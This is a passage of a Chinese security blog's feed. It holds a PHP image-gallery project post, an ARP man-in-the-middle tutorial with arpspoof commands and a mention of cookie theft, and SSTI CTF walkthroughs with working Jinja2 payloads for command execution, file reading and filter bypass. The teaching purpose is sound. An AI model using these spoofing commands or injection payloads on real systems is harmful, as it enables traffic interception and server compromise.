27/29 校准: 理论 X=1404, 实际 X=1403</span><br><span class="line">  列 28/29 校准: 理论 X=1457, 实际 X=1456</span><br><span class="line">  列 29/29 校准: 理论 X=1510, 实际 X=1509</span><br><span class="line">  对照点看着都对呀，就是扫不出来码o(╥﹏╥)o</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://blog.ziworld.top/2025/08/25/2025-8-25-%E6%A0%A1%E8%B5%9B3%E5%A4%8D%E7%8E%B0/</id>
    <link href="https://blog.ziworld.top/2025/08/25/2025-8-25-%E6%A0%A1%E8%B5%9B3%E5%A4%8D%E7%8E%B0/"/>
    <published>2025-08-25T12:28:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="web1"><a href="#web1" class="headerlink" title="web1"></a>web1</h2><figure class="highlight python"><table><tr><td]]>
    </summary>
    <title>校赛3复现</title>
    <updated>2026-03-09T09:40:19.061Z</updated>
  </entry>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="项目" scheme="https://blog.ziworld.top/categories/%E9%A1%B9%E7%9B%AE/"/>
    <category term="图片展示" scheme="https://blog.ziworld.top/tags/%E5%9B%BE%E7%89%87%E5%B1%95%E7%A4%BA/"/>
    <content>
      <![CDATA[<h1 id="ImagesGallery"><a href="#ImagesGallery" class="headerlink" title="ImagesGallery"></a>ImagesGallery</h1><p>使用php写的图片展示。存储图片的公链，然后展示出来，并且能右键复制公链，附带随机图片api</p><p>演示：<a href="https://t.ziworld.top/">https://t.ziworld.top/</a></p><h1 id="食用"><a href="#食用" class="headerlink" title="食用"></a>食用</h1><p>依照下面配置后放入php环境中即可使用</p><h2 id="创建分类"><a href="#创建分类" class="headerlink" title="创建分类"></a>创建分类</h2><p>在<strong>categories</strong>文件夹中创建 <strong>分类名.txt</strong> 的文件(可以使用中文)</p><p> <strong>分类名.txt</strong> 中存储图片公链链接，一行一个</p><h2 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h2><p>在<strong>index.php</strong>中第3行开始配置</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$CATEGORY_DIR</span> = <span class="string">&#x27;categories&#x27;</span>; <span class="comment">// 存放分类txt文件的目录</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$SITE_TITLE</span> = <span class="string">&#x27;图片公链存储&#x27;</span>; <span class="comment">// 网站标题 (此版本中不再直接显示)</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$DEFAULT_CATEGORY</span> = <span class="string">&#x27;PC&#x27;</span>; <span class="comment">// 默认展示的分类</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$THUMB_SIZE</span> = <span class="number">300</span>; <span class="comment">// 缩略图大小（主要用于Unsplash URL参数，非服务器端处理）</span></span><br></pre></td></tr></table></figure><h2 id="api"><a href="#api" class="headerlink" title="api"></a>api</h2><p><strong>api&#x2F;index.php</strong>中第3行开始配置</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$category_dir</span> = <span class="string">&#x27;../categories&#x27;</span>; <span class="comment">// 分类目录</span></span><br><span class="line"><span class="variable">$default_category</span> = <span class="string">&#x27;PC&#x27;</span>; <span class="comment">// 默认分类</span></span><br></pre></td></tr></table></figure><p>使用：<a href="https://t.ziworld.top/api/readme.html">说明文档 - 图片公链存储 API</a></p><p>效果图：</p><p><img src="/2025/08/12/2025-08-12-%E5%9B%BE%E7%89%87%E5%BA%93/ec3fe846f9f97ce011b4fd37b83ec7e1.png" alt="image-20250808172846563"></p><p><img src="/2025/08/12/2025-08-12-%E5%9B%BE%E7%89%87%E5%BA%93/df1e394b602a4c8a1c13025910317947.png" alt="image-20250808172925882"></p><p><img src="/2025/08/12/2025-08-12-%E5%9B%BE%E7%89%87%E5%BA%93/06b690045f44fc4380355c76ba5a21a6.png" alt="image-20250808172949213"></p><p><img src="/2025/08/12/2025-08-12-%E5%9B%BE%E7%89%87%E5%BA%93/11b31fd755db467bd5f6b4496304f3c5.png" alt="image-20250808173039465"><br>源码：<a href="https://github.com/airesein/ImagesGallery">https://github.com/airesein/ImagesGallery</a></p>]]>
    </content>
    <id>https://blog.ziworld.top/2025/08/12/2025-08-12-%E5%9B%BE%E7%89%87%E5%BA%93/</id>
    <link href="https://blog.ziworld.top/2025/08/12/2025-08-12-%E5%9B%BE%E7%89%87%E5%BA%93/"/>
    <published>2025-08-12T11:28:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="ImagesGallery"><a href="#ImagesGallery" class="headerlink"]]>
    </summary>
    <title>图片库</title>
    <updated>2026-03-09T09:40:18.945Z</updated>
  </entry>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="CTF" scheme="https://blog.ziworld.top/categories/CTF/"/>
    <category term="ARP中间人" scheme="https://blog.ziworld.top/tags/ARP%E4%B8%AD%E9%97%B4%E4%BA%BA/"/>
    <content>
      <![CDATA[<h2 id="什么是ARP"><a href="#什么是ARP" class="headerlink" title="什么是ARP"></a>什么是ARP</h2><p><strong>ARP</strong>协议是“<strong>Address Resolution Protocol</strong>”（地址解析协议）的缩写。</p><p>在<strong>局域网</strong>环境中，数据的传输所依懒的是MAC地址而非IP地址，而将已知<strong>IP地址转换为MAC地址</strong>的工作是由ARP协议来完成的。</p><h3 id="工作流程"><a href="#工作流程" class="headerlink" title="工作流程"></a>工作流程</h3><p><img src="/2025/08/11/2025-8-11-ARP%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/image-20250817000350426.png" alt="image-20250817000350426"></p><p>局域网内有设备 A（IP：192.168.2.97，MAC：10:5f:ad:ba:a3:2e）和设备 B（IP：192.168.2.180，MAC：0c:b9:83:5c:9c:06），当 A 需要向 B 发送数据时，ARP 的工作步骤如下：</p><h4 id="1-检查本地-ARP-缓存表"><a href="#1-检查本地-ARP-缓存表" class="headerlink" title="1. 检查本地 ARP 缓存表"></a>1. 检查本地 ARP 缓存表</h4><p>设备 A 首先查询自己的<strong>ARP 缓存表</strong>，查看是否有 192.168.2.180 对应的 MAC 地址：</p><p><img src="/2025/08/11/2025-8-11-ARP%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/image-20250817001301962.png" alt="image-20250817001301962"></p><ul><li>若缓存表中已有记录（如之前通信过），A 直接使用该 MAC 地址封装数据帧并发送给 B，流程结束。</li><li>若缓存表中无记录，进入下一步。</li></ul><h4 id="2-发送-ARP-请求报文（广播）"><a href="#2-发送-ARP-请求报文（广播）" class="headerlink" title="2. 发送 ARP 请求报文（广播）"></a>2. 发送 ARP 请求报文（广播）</h4><p><img src="/2025/08/11/2025-8-11-ARP%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/image-20250817000202637.png" alt="image-20250817000202637"></p><p>设备 A 生成一个<strong>ARP 请求报文</strong>，内容为：<br>“谁有 IP 地址 192.168.2.180？请将你的 MAC 地址告诉我，我的 IP 是 192.168.2.97，MAC 是 10:5f:ad:ba:a3:2e。”<br>该报文通过<strong>广播</strong>方式发送（目标 MAC 地址为<code>FF:FF:FF:FF:FF:FF</code>），即局域网内所有设备都会收到该请求。</p><h4 id="3-接收并响应-ARP-请求（单播）"><a href="#3-接收并响应-ARP-请求（单播）" class="headerlink" title="3. 接收并响应 ARP 请求（单播）"></a>3. 接收并响应 ARP 请求（单播）</h4><p><img src="/2025/08/11/2025-8-11-ARP%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/image-20250817000300545.png" alt="image-20250817000300545"></p><p>局域网内所有设备收到 ARP 请求后，会检查报文中的目标 IP 地址是否与自己的 IP 一致：</p><ul><li>非目标设备（如其他设备 C、D）会忽略该请求。</li><li>目标设备 B 发现请求中的 IP 地址（192.168.2.180）与自己的 IP 一致，会生成<strong>ARP 响应报文</strong>，内容为：<br>“我是 192.168.2.180，我的 MAC 地址是 0c:b9:83:5c:9c:06。”<br>该报文通过<strong>单播</strong>方式直接发送给设备 A（目标 MAC 为 A 的 MAC 地址）。</li></ul><h4 id="4-更新-ARP-缓存表并通信"><a href="#4-更新-ARP-缓存表并通信" class="headerlink" title="4. 更新 ARP 缓存表并通信"></a>4. 更新 ARP 缓存表并通信</h4><p>设备 A 收到 B 的 ARP 响应后，会将 “IP：192.168.2.180 → MAC：0c:b9:83:5c:9c:06” 的映射关系存入自己的 ARP 缓存表<br>之后，A 即可使用 B 的 MAC 地址封装数据帧，实现与 B 的直接通信。</p><p><img src="/2025/08/11/2025-8-11-ARP%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/image-20250817001511541.png" alt="image-20250817001511541"></p><h2 id="ARP中间人攻击原理"><a href="#ARP中间人攻击原理" class="headerlink" title="ARP中间人攻击原理"></a>ARP中间人攻击原理</h2><h3 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h3><p><strong>中间人攻击</strong>（Man-in-the-MiddleAttack，简称“<strong>MITM攻击</strong>”）是一种“间接”的入侵攻击，这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间，这台计算机就称为“中间人”。</p><h3 id="攻击原理"><a href="#攻击原理" class="headerlink" title="攻击原理"></a>攻击原理</h3><p>利用ARP协议漏洞进行的攻击—<strong>ARP欺骗</strong></p><p>1、PC1给PC3发送数据：网络层（IP包）<br><code>10.1.1.1 10.1.1.3 端口号 Hello,PC3 (源IP地址 目标IP 源端口号 目标端口号 数据)</code><br>2、到数据链路层后：数据帧包<br><code>__ AA 10.1.1.1 10.1.1.3 端口号 Hello,PC3 (目标MAC地址[PC3的未知] 源MAC地址 源IP地址 目标IP 源端口号 目标端口号 数据)</code><br>3、ARP协议出现<br>“我是10.1.1.1，我的MAC地址为AA，谁是10.1.1.3，你的MAC地址是什么呀？”ARP协议发送广播MAC地址（FF-FF-…12个F）：<code>FF AA 10.1.1.1 10.1.1.3 端口号 Hello,PC3</code><br>4、局域网内所有主机都收到这个广播，PC2会丢弃这个包；PC3收到包后会单播应答它，<code>CC AA 10.1.1.1 10.1.1.3 端口号 Hello,PC1</code>，并通过交换机查询MAC地址表，将响应包传递给PC1，PC1会在第一时间建立一个ARP缓存表：<code>10.1.1.3 CC</code>；<br>5、漏洞出现：ARP缓存表遵循的规则是谁后到达就学习谁，由于ARP没有验证功能，所以PC2使用攻击工具不停发送虚假的ARP应答，PC1的ARP缓存表就会变成了<code>10.1.1.3 BB</code>；<br>6、从此PC1发送数据就要先经过PC2，（<code>BB AA 10.1.1.1 10.1.1.3 端口号 数据</code>），PC2截获获取数据后再修改目标MAC地址（<code>CC AA 10.1.1.1 10.1.1.3 端口号 数据</code>），然后转发给PC3，完成攻击。</p><h2 id="实操"><a href="#实操" class="headerlink" title="实操"></a>实操</h2><h2 id="Win"><a href="#Win" class="headerlink" title="Win"></a>Win</h2><p>工具：<a href="https://github.com/alandau/arpspoof">alandau&#x2F;arpspoof：适用于 Windows 的简单 ARP 欺骗器</a></p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">D:\<span class="title">CTFtool</span>\<span class="title">ARP</span>&gt;<span class="title">arpspoof.exe</span> --<span class="title">help</span></span></span><br><span class="line"><span class="function"><span class="title">arpspoof.exe</span> --<span class="title">list</span> | [-<span class="title">i</span> <span class="title">iface</span>] [--<span class="title">oneway</span>] <span class="title">victim</span>-<span class="title">ip</span> [<span class="title">target</span>-<span class="title">ip</span>]</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function"><span class="title">victim</span>-<span class="title">ip</span>：受害者<span class="title">IP</span>，即被攻击主机的<span class="title">IP</span>；</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function"><span class="title">target</span>-<span class="title">ip</span>：目标<span class="title">IP</span>，它指伪装的<span class="title">IP</span>。比如，主机<span class="title">A</span>要想获取主机<span class="title">B</span>访问外部网络的流量，那么目标<span class="title">IP</span>则是受攻击主机<span class="title">IP</span>的默认网关。主机<span class="title">A</span>要想获取主机<span class="title">B</span>访问同网段的其它主机<span class="title">C</span>的流量，那么目标<span class="title">IP</span>则是主机<span class="title">C</span>的<span class="title">IP</span>。**当“<span class="title">target</span>-<span class="title">ip</span>”未指定是，默认指向受攻击主机<span class="title">IP</span>的默认网关。**</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">--<span class="title">oneway</span>：默认情况下，攻击主机获取的流量是双向的，即<span class="title">victim</span> -&gt; <span class="title">target</span>和 <span class="title">target</span> -&gt; <span class="title">victim</span> 。使用“—<span class="title">oneway</span>”参数，攻击主机仅获取<span class="title">victim</span> -&gt; <span class="title">target</span>方向的流量；</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">-<span class="title">i</span>：指定攻击主机发送<span class="title">arp</span>攻击报文的网卡。未指定的情况下，攻击主机将自动根据攻击主机和受攻击主机的<span class="title">IP</span>和掩码来选定。确实需要指定的话，可先使用“--<span class="title">list</span>”参数，查看可用网卡，然后使用“-<span class="title">i</span>”参数指定具体的网卡，例如：-<span class="title">i</span> \<span class="title">Device</span>\<span class="title">NPF_</span>&#123;<span class="title">F569706A</span>-1<span class="title">B6B</span>-47<span class="title">D7</span>-<span class="title">B89D</span>-0<span class="title">E4EE8A166CE</span>&#125;；</span></span><br></pre></td></tr></table></figure><p>列出可用的网卡</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">arpspoof.exe --list</span><br></pre></td></tr></table></figure><p><img src="/2025/08/11/2025-8-11-ARP%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/image-20250817004847060.png" alt="image-20250817004847060"></p><p>开始欺骗</p><p><img src="/2025/08/11/2025-8-11-ARP%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/image-20250817013048192.png" alt="image-20250817013048192"></p><p>wireshark过滤数据包</p><p><img src="/2025/08/11/2025-8-11-ARP%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/image-20250817013123445.png" alt="image-20250817013123445"></p><p><img src="/2025/08/11/2025-8-11-ARP%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/image-20250817015204102.png" alt="image-20250817015204102"></p><p>盗取用户cookie</p><p><img src="/2025/08/11/2025-8-11-ARP%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/image-20250817014457580.png" alt="image-20250817014457580"></p><h2 id="kali"><a href="#kali" class="headerlink" title="kali"></a>kali</h2><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">fping -g <span class="number">192</span>.<span class="number">168</span>.<span class="number">2</span>.<span class="number">0</span>/<span class="number">24</span> -a -q</span><br><span class="line">只输出<span class="number">192</span>.<span class="number">168</span>.<span class="number">2</span>.<span class="number">0</span>/<span class="number">24</span>能<span class="built_in">ping</span>通的地址  -q隐藏详细过程 -a存活</span><br></pre></td></tr></table></figure><p><img src="/2025/08/11/2025-8-11-ARP%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/image-20250819014823191.png" alt="image-20250819014823191"></p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -sn <span class="number">192</span>.<span class="number">168</span>.<span class="number">1</span>.<span class="number">0</span>/<span class="number">24</span>  # 仅检测<span class="number">192</span>.<span class="number">168</span>.<span class="number">1</span>.<span class="number">0</span>/<span class="number">24</span>网段的存活主机</span><br></pre></td></tr></table></figure><p><img src="/2025/08/11/2025-8-11-ARP%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/image-20250819015124701.png" alt="image-20250819015124701"></p><blockquote><h3 id="注意"><a href="#注意" class="headerlink" title="注意"></a><strong>注意</strong></h3><p><strong>如果未开启 IP 转发</strong>：你的机器会直接丢弃这些流量，导致目标主机和网关之间的通信彻底中断（目标会发现断网并快速恢复 ARP 缓存，攻击效果短暂且明显）</p><p>linux系统出于安全考虑禁止了IP转发功能，所以需要手动打开，在&#x2F;proc&#x2F;sys&#x2F;net&#x2F;ipv4&#x2F;ip_forward里面数值是0，改为1就允许了IP转发<br>使用echo 1 &gt; &#x2F;proc&#x2F;sys&#x2F;net&#x2F;ipv4&#x2F;ip_forward        实现该操作</p></blockquote><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">arpspoof -i eth0 -t <span class="number">192</span>.<span class="number">168</span>.<span class="number">2</span>.<span class="number">180</span> <span class="number">192</span>.<span class="number">168</span>.<span class="number">2</span>.<span class="number">1</span></span><br><span class="line"># 终端<span class="number">1</span>：欺骗目标主机（让它认为你是网关）</span><br><span class="line"></span><br><span class="line">arpspoof -i eth0 -t <span class="number">192</span>.<span class="number">168</span>.<span class="number">2</span>.<span class="number">1</span> <span class="number">192</span>.<span class="number">168</span>.<span class="number">2</span>.<span class="number">180</span></span><br><span class="line"># 终端<span class="number">2</span>：欺骗网关（让它认为你是目标主机）</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="number">1</span> &gt; /proc/sys/<span class="built_in">net</span>/ipv4/ip_forward </span><br><span class="line">#开启转发 </span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://blog.ziworld.top/2025/08/11/2025-8-11-ARP%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/</id>
    <link href="https://blog.ziworld.top/2025/08/11/2025-8-11-ARP%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/"/>
    <published>2025-08-11T12:28:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="什么是ARP"><a href="#什么是ARP" class="headerlink" title="什么是ARP"></a>什么是ARP</h2><p><strong>ARP</strong>协议是“<strong>Address Resolution]]>
    </summary>
    <title>ARP中间人攻击</title>
    <updated>2026-03-09T09:40:19.057Z</updated>
  </entry>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="CTF" scheme="https://blog.ziworld.top/categories/CTF/"/>
    <category term="练习" scheme="https://blog.ziworld.top/tags/%E7%BB%83%E4%B9%A0/"/>
    <category term="CTF" scheme="https://blog.ziworld.top/tags/CTF/"/>
    <category term="SSTI" scheme="https://blog.ziworld.top/tags/SSTI/"/>
    <content>
      <![CDATA[<h2 id="SSTI-漏洞概述"><a href="#SSTI-漏洞概述" class="headerlink" title="SSTI 漏洞概述"></a>SSTI 漏洞概述</h2><p>SSTI（Server-Side Template Injection，服务器端模板注入），主要发生在 Web 应用使用模板引擎动态渲染页面内容的场景中。当应用程序未对用户输入的内容进行严格过滤或转义，直接将用户可控数据嵌入到模板中进行解析渲染时，攻击者就可能通过构造恶意输入来注入模板代码，从而执行任意命令、读取敏感文件或获取服务器权限。</p><p>模板引擎的设计初衷是将页面逻辑与数据展示分离，提高开发效率。常见的模板引擎包括 <strong>Python 的 Jinja2、Django Template，PHP 的 Smarty、Twig，Java 的 FreeMarker、Velocity，Node.js 的 EJS、Handlebars</strong> 等。</p><h2 id="SSTI-漏洞成因"><a href="#SSTI-漏洞成因" class="headerlink" title="SSTI 漏洞成因"></a>SSTI 漏洞成因</h2><p>SSTI 漏洞的核心成因是<strong>用户输入未经过安全处理直接嵌入模板</strong>，具体可分为以下几种情况：</p><ol><li><strong>直接拼接用户输入到模板字符串</strong>：例如在 Python 中使用<code>render_template_string(&quot;Hello, %s&quot; % user_input)</code>，若<code>user_input</code>包含模板语法，会被引擎解析执行。</li><li><strong>模板路径 &#x2F; 名称可控</strong>：攻击者通过控制模板文件路径，加载恶意模板文件或系统敏感文件（如<code>/etc/passwd</code>）。</li><li><strong>模板变量赋值不当</strong>：将用户输入直接作为模板变量的值，且变量在模板中被以执行代码的方式调用（如<code>&#123;&#123; user_input &#125;&#125;</code>在某些引擎中可执行表达式）。</li></ol><h3 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h3><ul><li><p>输入<code>&#123;&#123; 7*7 &#125;&#125;</code>，若页面返回<code>49</code>，说明模板引擎执行了表达式，可能存在漏洞。</p></li><li><p>输入<code>&#123;&#123; config &#125;&#125;</code>（Jinja2），若返回配置信息，证明漏洞存在</p></li><li><p>读取配置文件：<code>&#123;&#123; config.items() &#125;&#125;</code>（Jinja2）可获取应用配置，包括数据库账号密码等。</p></li><li><p>读取系统文件：在支持文件操作的引擎中，可通过<code>&#123;&#123; ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() &#125;&#125;</code>（Jinja2）读取<code>/etc/passwd</code>。</p></li></ul><h2 id="Jinja2"><a href="#Jinja2" class="headerlink" title="Jinja2"></a>Jinja2</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">控制结构 &#123;% %&#125; 可以声明变量，也可以执行语句</span><br><span class="line">变量取值 &#123;&#123; &#125;&#125; 用于将表达式打印到模板输出</span><br><span class="line">注释块 &#123;# #&#125; 用于注释</span><br><span class="line"></span><br><span class="line">__class__</span><br><span class="line">  查看对象所在的类</span><br><span class="line">__mro__</span><br><span class="line">  查看继承关系和调用顺序，返回元组</span><br><span class="line">__base__</span><br><span class="line">  返回基类</span><br><span class="line">__bases__</span><br><span class="line">  返回基类元组</span><br><span class="line">__subclasses__()</span><br><span class="line">  返回子类列表</span><br><span class="line">__init__</span><br><span class="line">  调用初始化函数，可以用来跳到__globals__</span><br><span class="line">__globals__</span><br><span class="line">  返回函数所在的全局命名空间所定义的全局变量，返回字典</span><br><span class="line">__builtins__</span><br><span class="line">  返回内建内建名称空间字典</span><br><span class="line">__dic__</span><br><span class="line">  返回类的静态函数、类函数、普通函数、全局变量以及一些内置的属性</span><br><span class="line">__getitem__()</span><br><span class="line">  调用字典中的键值，比如a[&#x27;b&#x27;]，就是a.__getitem__(&#x27;b&#x27;)</span><br><span class="line">__import__</span><br><span class="line">  动态加载类和函数，也就是导入模块，经常用于导入os模块，__import__(&#x27;os&#x27;).popen(&#x27;ls&#x27;).read()]</span><br><span class="line">__str__()</span><br><span class="line">  返回描写这个对象的字符串，就是打印出来。</span><br><span class="line"></span><br></pre></td></tr></table></figure><h1 id="实战"><a href="#实战" class="headerlink" title="实战"></a>实战</h1><h2 id="LitCTF-2025-星愿信箱"><a href="#LitCTF-2025-星愿信箱" class="headerlink" title="[LitCTF 2025]星愿信箱"></a>[LitCTF 2025]星愿信箱</h2><p>环境：[<a href="https://www.nssctf.cn/problem/6776">LitCTF 2025]星愿信箱 | NSSCTF</a></p><p><img src="/2025/08/05/2025-08-05-SSTI/kpgnr16346cbf4183402f971d38341f9afa3e.png" alt="image-20250529194100233"></p><p>看有哪些函数</p><p><img src="/2025/08/05/2025-08-05-SSTI/kpgnr58be8415acd44628917018254851d929.png" alt="image-20250529195428774"></p><p>通过 config对象调用 os.popen执行 <code>ls /</code></p><p><img src="/2025/08/05/2025-08-05-SSTI/kpgnr70e1a1ff2f194e3aa11621d286e0d010.png" alt="image-20250529195633146"></p><p>发现有flag,cat别屏蔽了，<code>head /flag</code>查看</p><p><img src="/2025/08/05/2025-08-05-SSTI/kpgnrffc23faa6c3243249aa9023fe4e6fb99.png" alt="image-20250529195947717"></p><h2 id="HNCTF-2022-WEEK2-ez-SSTI"><a href="#HNCTF-2022-WEEK2-ez-SSTI" class="headerlink" title="[HNCTF 2022 WEEK2]ez_SSTI"></a>[HNCTF 2022 WEEK2]ez_SSTI</h2><p>环境：[<a href="https://www.nssctf.cn/problem/2953">HNCTF 2022 WEEK2]ez_SSTI | NSSCTF</a></p><p><img src="/2025/08/05/2025-08-05-SSTI/kpgnrafc4731c3fba415b991584c61edaf330.png" alt="image-20250802235544134"></p><p>参数是name，且没过滤</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://node5.anna.nssctf.cn:24127/?name=&#123;&#123;7*7&#125;&#125;</span><br></pre></td></tr></table></figure><p><img src="/2025/08/05/2025-08-05-SSTI/kpgnr8a92e7922c3348688d7e8b4b7b7b639f.png" alt="image-20250802235704630"></p><p>ls看一下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">name=&#123;&#123;config.__class__.__init__.__globals__[%27os%27].popen(%27ls%27).read()&#125;&#125;</span><br></pre></td></tr></table></figure><p><img src="/2025/08/05/2025-08-05-SSTI/kpgnre6c52a60fdbd4783a8b4e0b1744c9935.png" alt="image-20250803000827654"></p><p>获得flag</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">name=&#123;&#123;config.__class__.__init__.__globals__[&#x27;os&#x27;].popen(&#x27;cat flag&#x27;).read()&#125;&#125;</span><br></pre></td></tr></table></figure><p><img src="/2025/08/05/2025-08-05-SSTI/kpgnr41a3e57e2c2c40efb9aefdfe688031ec.png" alt="image-20250803000956572"></p><h2 id="安洵杯-2020-Normal-SSTI"><a href="#安洵杯-2020-Normal-SSTI" class="headerlink" title="[安洵杯 2020]Normal SSTI"></a>[安洵杯 2020]Normal SSTI</h2><p>环境：[<a href="https://www.nssctf.cn/problem/910">安洵杯 2020]Normal SSTI | NSSCTF</a></p><p>知识点</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">|attr(“__class__”)等于</span><br><span class="line"></span><br><span class="line">.__class__</span><br><span class="line"></span><br><span class="line">flask里的lipsum方法,可以得到__builtins__，且lipsum.__globals__含有os模块</span><br></pre></td></tr></table></figure><p><img src="/2025/08/05/2025-08-05-SSTI/kpgnr2c2275dda5fc42e8b5620deb3c4a0e8c.png" alt="image-20250803001427037"></p><p>发现<code>&#123;&#123;&#125;&#125;</code>被过滤了，但</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;%print()%&#125;</span><br></pre></td></tr></table></figure><p>还能用，**.<strong>和</strong>[]**也被过滤了</p><p><img src="/2025/08/05/2025-08-05-SSTI/kpgnr3ce790e6677847048f2b5e7f2ef25d0f.png" alt="image-20250803001753051"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">lipsum|attr(&quot;__globals__&quot;)</span><br></pre></td></tr></table></figure><p>Unicode 编码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">lipsum|attr(&quot;\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f&quot;)</span><br></pre></td></tr></table></figure><p><img src="/2025/08/05/2025-08-05-SSTI/kpgnr6a8e507dd974467f8e5815d8e28ccdc8.png" alt="image-20250803103220064"></p><p>获取os</p><p><img src="/2025/08/05/2025-08-05-SSTI/kpgnrfd4873a35e1f41a9a7e62387141f8942.png" alt="image-20250803104006225"></p><p>获取popen()</p><p><img src="/2025/08/05/2025-08-05-SSTI/kpgnrb12694ac860846e19ec2f9c2dfe9fb70.png" alt="image-20250803104546159"></p><p>read输出</p><p><img src="/2025/08/05/2025-08-05-SSTI/kpgnr3e3a5c5b43d346fb9fd2bcc36ef5e9ac.png" alt="image-20250803105516393"></p><h2 id="HNCTF-2022-WEEK3-ssssti"><a href="#HNCTF-2022-WEEK3-ssssti" class="headerlink" title="[HNCTF 2022 WEEK3]ssssti"></a>[HNCTF 2022 WEEK3]ssssti</h2><p>环境：[<a href="https://www.nssctf.cn/problem/3022">HNCTF 2022 WEEK3]ssssti | NSSCTF</a></p><p><img src="/2025/08/05/2025-08-05-SSTI/kpgnr5963dbf6973241af9c9a5d362654fd0d.png" alt="image-20250803005616259"></p><p>参数是name</p><p><img src="/2025/08/05/2025-08-05-SSTI/kpgnr774ad6c2653a43818c8606de578f141a.png" alt="image-20250803005702194"></p><p>发现有过滤，这些都用不了 <code> \, &quot;, args, os, _，&quot;</code><br>也不能用<code>&#123;%%&#125;</code></p><p>尝试用<strong>request.cookies</strong>，可以通过cookies传入参数。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td 